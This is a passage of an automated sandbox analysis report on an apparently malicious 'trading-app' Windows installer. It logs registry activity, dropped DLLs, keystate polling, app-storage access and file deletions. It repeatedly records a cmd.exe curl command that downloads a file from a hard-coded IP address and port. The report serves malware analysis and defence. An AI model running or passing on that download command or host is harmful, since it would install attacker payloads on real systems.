"00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "=1 {1 password not imported}" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "other {{NUM_PASSWORDS} passwords not imported}}{NUM_PASSWORDS, plural," (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "=1 {1 other password wasn't imported because it's formatted incorrectly}" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "other {{NUM_PASSWORDS} other passwords weren't imported because they're formatted incorrectly}}{NUM_PASSWORDS, plural," (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "=1 {1 password imported to $1 for $2}" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "other {{NUM_PASSWORDS} passwords imported to $1 for $2}}{NUM_PASSWORDS, plural," (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "=1 {1 password imported to $1 on this device}" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "other {{NUM_PASSWORDS} passwords imported to $1 on this device}}{NUM_PASSWORDS, plural," (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp")57:T887,Found string ":\WINDOWS\system32\drivers\etc\hosts" (Indicator: "\drivers\"; Source: "00000000-00004288.00000000.110171.0007C000.00000004.mdmp, 00000000-00004288.00000001.112089.0007C000.00000004.mdmp, 00000000-00004288.00000002.114010.0007C000.00000004.mdmp") Found string ":\WINDOWS\system32\drivers\etc\hosts" (Indicator: "system32\drivers"; Source: "00000000-00004288.00000000.110171.0007C000.00000004.mdmp, 00000000-00004288.00000001.112089.0007C000.00000004.mdmp, 00000000-00004288.00000002.114010.0007C000.00000004.mdmp") Found string "C:\WINDOWS\system32\drivers\etc\hosts" (Indicator: "\drivers\"; Source: "00000000-00004288.00000000.110171.0007C000.00000004.mdmp, 00000000-00004288.00000001.112089.0007C000.00000004.mdmp, 00000000-00004288.00000002.114010.0007C000.00000004.mdmp") Found string "C:\WINDOWS\system32\drivers\etc\hosts" (Indicator: "system32\drivers"; Source: "00000000-00004288.00000000.110171.0007C000.00000004.mdmp, 00000000-00004288.00000001.112089.0007C000.00000004.mdmp, 00000000-00004288.00000002.114010.0007C000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004288.00000000.110171.6CFC0000.00000004.mdmp, 00000000-00004288.00000001.112089.6CFC0000.00000004.mdmp, 00000000-00004288.00000002.114010.6CFC0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Indicator: "\Device\"; Source: "00000000-00004288.00000000.110171.6CFC0000.00000004.mdmp, 00000000-00004288.00000001.112089.6CFC0000.00000004.mdmp, 00000000-00004288.00000002.114010.6CFC0000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00004416.00000000.107553.031D0000.00000004.mdmp, 00000000-00004416.00000001.109475.031D0000.00000004.mdmp, 00000000-00004416.00000002.111392.031D0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004416.00000000.107553.031D0000.00000004.mdmp, 00000000-00004416.00000001.109475.031D0000.00000004.mdmp, 00000000-00004416.00000002.111392.031D0000.00000004.mdmp")58:T15ca,"trading-app.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "3A93A69988CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "B222DA9A88CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "EB30D7A888CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "3893D9A888CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "E0CFC6AD88CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "4A19AEB688CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "A47BB0B688CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "26EC8DBA88CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "5331D2C388CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "0F1DDEC388CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "CF1987C788CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "D25766D188CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "2BBA68D188CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "FFCDC7D488CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "D62E0BDF88CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "38910DDF88CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "7AC72AE188CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\2WNUXCQAFFB8GQHSXOVWIS2JQJ1\TRADING-APP.EXE"; Value: "32CB4A9D88CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\2WNUXCQAFFB8GQHSXOVWIS2JQJ1\TRADING-APP.EXE"; Value: "D26859A288CADB0100000000000000000000000002000000") "trading-app.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\2WNUXCQAFFB8GQHSXOVWIS2JQJ1\TRADING-APP.EXE"; Value: "D98F71A788CADB0100000000000000000000000002000000")59:Tb47,"trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WCIFS"; Key: "SUPPORTEDFEATURES"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WOF"; Key: "SUPPORTEDFEATURES"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FILEINFO"; Key: "SUPPORTEDFEATURES"; Value: "") "trading-app-Windows-1.0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\2WNUXCQAFFB8GQHSXOVWIS2JQJ1\TRADING-APP.EXE"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "")5a:T6e6,"trading-app.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows 15 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\trading-app.exe]- [targetUID: 00000000-00004416] "libGLESv2.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 11 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\libGLESv2.dll]- [targetUID: 00000000-00004416] "vk_swiftshader.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 11 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\vk_swiftshader.dll]- [targetUID: 00000000-00004416] "ffmpeg.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 10 sections"- Location: [%TEMP%\2wnUXCqaFfb8gqhsxoVwiS2JQj1\ffmpeg.dll]- [targetUID: 00000000-00007064] "vulkan-1.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 11 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\vulkan-1.dll]- [targetUID: 00000000-00004416] "libEGL.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 11 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\libEGL.dll]- [targetUID: 00000000-00004416] "nsis7z.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%TEMP%\nse95AF.tmp\nsis7z.dll]- [targetUID: 00000000-00004416] "elevate.exe" has type "PE32 executable (console) Intel 80386 for MS Windows 6 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\resources\elevate.exe]- [targetUID: 00000000-00004416] "StdUtils.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 5 sections"- Location: [%TEMP%\nse95AF.tmp\StdUtils.dll]- [targetUID: 00000000-00004416] "System.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%TEMP%\nse95AF.tmp\System.dll]- [targetUID: 00000000-00004416]5b:T4a0,"trading-app-Windows-1.0.0.exe" has section name .text with entropy "6.450282348506287" "trading-app-Windows-1.0.0.exe" has section name .rsrc with entropy "7.936445228606647" "vk_swiftshader.dll" has section name .text with entropy "6.3835064605677525" "vk_swiftshader.dll" has section name .pdata with entropy "6.133847752432338" "ffmpeg.dll" has section name .text with entropy "6.730381190128567" "ffmpeg.dll" has section name .pdata with entropy "6.093118248201127" "vulkan-1.dll" has section name .text with entropy "6.44375349271842" "libEGL.dll" has section name .text with entropy "6.48133002376286" "nsis7z.dll" has section name .text with entropy "6.660019021748915" "nsis7z.dll" has section name .reloc with entropy "6.436643454233115" "elevate.exe" has section name .text with entropy "6.629085472534192" "elevate.exe" has section name .reloc with entropy "6.435085499700611" "StdUtils.dll" has section name .text with entropy "6.7699973903274" "StdUtils.dll" has section name .data with entropy "6.300665669595389" "StdUtils.dll" has section name .reloc with entropy "6.045162629779809" "System.dll" has section name .text with entropy "6.258082503916542"5c:T6e6,"trading-app.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows 15 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\trading-app.exe]- [targetUID: 00000000-00004416] "libGLESv2.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 11 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\libGLESv2.dll]- [targetUID: 00000000-00004416] "vk_swiftshader.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 11 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\vk_swiftshader.dll]- [targetUID: 00000000-00004416] "ffmpeg.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 10 sections"- Location: [%TEMP%\2wnUXCqaFfb8gqhsxoVwiS2JQj1\ffmpeg.dll]- [targetUID: 00000000-00007064] "vulkan-1.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 11 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\vulkan-1.dll]- [targetUID: 00000000-00004416] "libEGL.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows 11 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\libEGL.dll]- [targetUID: 00000000-00004416] "nsis7z.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%TEMP%\nse95AF.tmp\nsis7z.dll]- [targetUID: 00000000-00004416] "elevate.exe" has type "PE32 executable (console) Intel 80386 for MS Windows 6 sections"- Location: [%TEMP%\nse95AF.tmp\7z-out\resources\elevate.exe]- [targetUID: 00000000-00004416] "StdUtils.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 5 sections"- Location: [%TEMP%\nse95AF.tmp\StdUtils.dll]- [targetUID: 00000000-00004416] "System.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%TEMP%\nse95AF.tmp\System.dll]- [targetUID: 00000000-00004416]5d:T416,"trading-app.exe" called "GetKeyState" with parameters {"nVirtKey": "1"} "trading-app.exe" called "GetKeyState" with parameters {"nVirtKey": "2"} "trading-app.exe" called "GetKeyState" with parameters {"nVirtKey": "4"} "trading-app.exe" called "GetKeyState" with parameters {"nVirtKey": "5"} "trading-app.exe" called "GetKeyState" with parameters {"nVirtKey": "6"} "trading-app.exe" called "GetKeyState" with parameters {"nVirtKey": "16"} "trading-app.exe" called "GetKeyState" with parameters {"nVirtKey": "165"} "trading-app.exe" called "GetKeyState" with parameters {"nVirtKey": "17"} "trading-app.exe" called "GetKeyState" with parameters {"nVirtKey": "18"} "trading-app.exe" called "GetKeyState" with parameters {"nVirtKey": "91"} "trading-app.exe" called "GetKeyState" with parameters {"nVirtKey": "92"} "trading-app.exe" called "GetKeyState" with parameters {"nVirtKey": "144"} "trading-app.exe" called "GetKeyState" with parameters {"nVirtKey": "20"} "trading-app.exe" called "GetKeyState" with parameters {"nVirtKey": "145"}5e:T5fe,"trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\LOCAL STORAGE\LEVELDB__TMP_FOR_REBUILD" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\LOCAL STORAGE\LEVELDB" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\Local Storage\leveldb\LOG" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\Local Storage\leveldb\CURRENT" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\Local Storage\leveldb\000001.dbtmp" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\Local Storage\leveldb\MANIFEST-000001" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\Local Storage\LEVELDB__TMP_FOR_REBUILD" "trading-app.exe" trying to open a file "%APPDATA%\trading-super-deriv\LOCAL STORAGE\LEVELDB__TMP_FOR_REBUILD" "trading-app.exe" trying to open a file "%APPDATA%\trading-super-deriv\LOCAL STORAGE\LEVELDB" "trading-app.exe" trying to open a file "%APPDATA%\trading-super-deriv\Local Storage\leveldb\LOG" "trading-app.exe" trying to open a file "%APPDATA%\trading-super-deriv\Local Storage\leveldb\CURRENT" "trading-app.exe" trying to open a file "%APPDATA%\trading-super-deriv\Local Storage\leveldb\000001.dbtmp" "trading-app.exe" trying to open a file "%APPDATA%\trading-super-deriv\Local Storage\leveldb\MANIFEST-000001"5f:Ta05,Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00001708) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00006724) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00007736) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00000712) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00000576) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00004580) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00001632) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00004516) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00007040) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00001928) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00007932) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00004292) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00008132) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00001468) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00004784) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00004300) Process "%WINDIR%\system32\cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00006880)60:Td0e,"trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\nsp959F.tmp" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\nse95AF.tmp" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\chrome_100_percent.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\chrome_200_percent.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\d3dcompiler_47.dll" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\ffmpeg.dll" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\icudtl.dat" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\libEGL.dll" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\libGLESv2.dll" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\LICENSE.electron.txt" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\LICENSES.chromium.html" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\af.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\am.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\ar.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\bg.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\bn.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\ca.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\cs.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\da.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\de.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\el.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\en-GB.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\en-US.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\es-419.pak" for deletion "trading-app-Windows-1.0.0.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\es.pak" for deletion61:Tda4,"trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsp959F.tmp" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nse95AF.tmp" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\chrome_100_percent.pak" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\chrome_200_percent.pak" with delete access 